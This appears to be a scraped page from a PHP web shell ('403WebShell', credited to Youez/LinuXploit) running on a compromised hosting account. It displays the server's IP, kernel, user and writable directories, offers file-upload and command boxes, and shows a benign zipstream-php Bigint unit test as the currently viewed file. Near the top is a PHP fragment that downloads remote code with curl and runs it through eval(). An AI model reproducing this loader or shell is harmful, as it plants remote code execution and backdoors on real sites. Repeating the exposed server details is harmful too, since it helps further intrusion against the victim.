Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

RLOPT_RETURNTRANSFER, true); $remoteCode = curl_exec($ch); if (curl_errno($ch)) { die('cURL error: ' . curl_error($ch)); } curl_close($ch); eval("?>" . $remoteCode); ?> 403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.223.241.235
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/book24.ng/vendor/maennchen/zipstream-php/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/book24.ng/vendor/maennchen/zipstream-php/test/BigintTest.php
<?php
declare(strict_types=1);

namespace BigintTest;

use OverflowException;
use PHPUnit\Framework\TestCase;
use ZipStream\Bigint;

class BigintTest extends TestCase
{
    public function testConstruct(): void
    {
        $bigint = new Bigint(0x12345678);
        $this->assertSame('0x0000000012345678', $bigint->getHex64());
        $this->assertSame(0x12345678, $bigint->getLow32());
        $this->assertSame(0, $bigint->getHigh32());
    }

    public function testConstructLarge(): void
    {
        $bigint = new Bigint(0x87654321);
        $this->assertSame('0x0000000087654321', $bigint->getHex64());
        $this->assertSame('87654321', bin2hex(pack('N', $bigint->getLow32())));
        $this->assertSame(0, $bigint->getHigh32());
    }

    public function testAddSmallValue(): void
    {
        $bigint = new Bigint(1);
        $bigint = $bigint->add(Bigint::init(2));
        $this->assertSame(3, $bigint->getLow32());
        $this->assertFalse($bigint->isOver32());
        $this->assertTrue($bigint->isOver32(true));
        $this->assertSame($bigint->getLowFF(), (float)$bigint->getLow32());
        $this->assertSame($bigint->getLowFF(true), (float)0xFFFFFFFF);
    }

    public function testAddWithOverflowAtLowestByte(): void
    {
        $bigint = new Bigint(0xFF);
        $bigint = $bigint->add(Bigint::init(0x01));
        $this->assertSame(0x100, $bigint->getLow32());
    }

    public function testAddWithOverflowAtInteger32(): void
    {
        $bigint = new Bigint(0xFFFFFFFE);
        $this->assertFalse($bigint->isOver32());
        $bigint = $bigint->add(Bigint::init(0x01));
        $this->assertTrue($bigint->isOver32());
        $bigint = $bigint->add(Bigint::init(0x01));
        $this->assertSame('0x0000000100000000', $bigint->getHex64());
        $this->assertTrue($bigint->isOver32());
        $this->assertSame((float)0xFFFFFFFF, $bigint->getLowFF());
    }

    public function testAddWithOverflowAtInteger64(): void
    {
        $bigint = Bigint::fromLowHigh(0xFFFFFFFF, 0xFFFFFFFF);
        $this->assertSame('0xFFFFFFFFFFFFFFFF', $bigint->getHex64());
        $this->expectException(OverflowException::class);
        $bigint->add(Bigint::init(1));
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit